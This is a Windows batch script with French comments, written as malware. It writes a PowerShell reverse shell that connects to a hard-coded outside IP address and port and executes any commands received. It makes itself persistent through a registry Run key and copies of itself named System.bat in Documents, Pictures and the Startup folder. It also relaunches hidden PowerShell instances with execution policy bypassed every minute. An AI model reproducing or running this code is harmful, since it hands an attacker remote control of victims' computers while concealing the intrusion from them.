1 | @echo off |
2 | setlocal enabledelayedexpansion |
3 | |
4 | REM Définir l'adresse IP et le port |
5 | set IP=139.59.228.234 |
6 | set PORT=22167 |
7 | |
8 | REM Définir l'emplacement du fichier PowerShell |
9 | set "target_dir=%APPDATA%\Roaming" |
10 | set "ps_script=%target_dir%\payload.ps1" |
11 | |
12 | REM Créer le script PowerShell avec le code reverse shell |
13 | echo $X1="%IP%";$X2=%PORT%;$X3=New-Object Net.Sockets.TCPClient($X1,$X2);$X4=$X3.GetStream();$Y1=New-Object IO.StreamReader($X4);$Y2=New-Object IO.StreamWriter($X4);$Y2.AutoFlush=$true;$Z1=New-Object Byte[] 1024;while($X3.Connected){while($X4.DataAvailable){$D1=$X4.Read($Z1,0,$Z1.Length);$J1=([Text.Encoding]::UTF8).GetString($Z1,0,$D1)}if($X3.Connected -and $J1.Length -gt 0){$D2=try{Invoke-Expression $J1 2>&1}catch{$_};$Y2.Write("$D2`n");$J1=$null}};$X3.Close();$X4.Close();$Y1.Close();$Y2.Close() > "%ps_script%" |
14 | |
15 | REM Ajouter le script au démarrage dans le registre |
16 | reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "payload" /t REG_SZ /d "%ps_script%" /f |
17 | |
18 | REM Copier le payload.bat dans les dossiers Documents et Images sous le nom System.bat |
19 | set "docs_dir=%USERPROFILE%\Documents" |
20 | set "images_dir=%USERPROFILE%\Pictures" |
21 | copy "%~f0" "%docs_dir%\System.bat" |
22 | copy "%~f0" "%images_dir%\System.bat" |
23 | |
24 | REM Copier System.bat dans le dossier de démarrage (Startup) |
25 | set "startup_dir=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" |
26 | copy "%~f0" "%startup_dir%\System.bat" |
27 | |
28 | REM Vérifier si le fichier a été copié correctement |
29 | if exist "%startup_dir%\System.bat" ( |
30 | echo Fichier System.bat ajouté au démarrage avec succès. |
31 | ) else ( |
32 | echo ERREUR : Le fichier System.bat n'a pas été ajouté au démarrage. |
33 | ) |
34 | |
35 | REM Fonction pour tuer tous les processus PowerShell |
36 | :kill_all_powershell |
37 | for /f "tokens=2" %%a in ('tasklist /fi "imagename eq powershell.exe" /nh') do ( |
38 | taskkill /f /pid %%a |
39 | ) |
40 | |
41 | REM Fonction pour exécuter 5 PowerShell en parallèle toutes les minutes |
42 | :start |
43 | REM Lancer 5 instances PowerShell en arrière-plan sans fenêtre |
44 | for /l %%i in (1, 1, 5) do ( |
45 | start /b powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "%ps_script%" |
46 | ) |
47 | |
48 | REM Attendre 60 secondes avant de tuer les PowerShell |
49 | timeout /t 60 |
50 | |
51 | REM Tuer les 5 instances PowerShell |
52 | call :kill_all_powershell |
53 | |
54 | REM Recommencer le processus après chaque minute |
55 | goto start |
56 | |
57 | REM Terminer le script .bat |
58 | exit |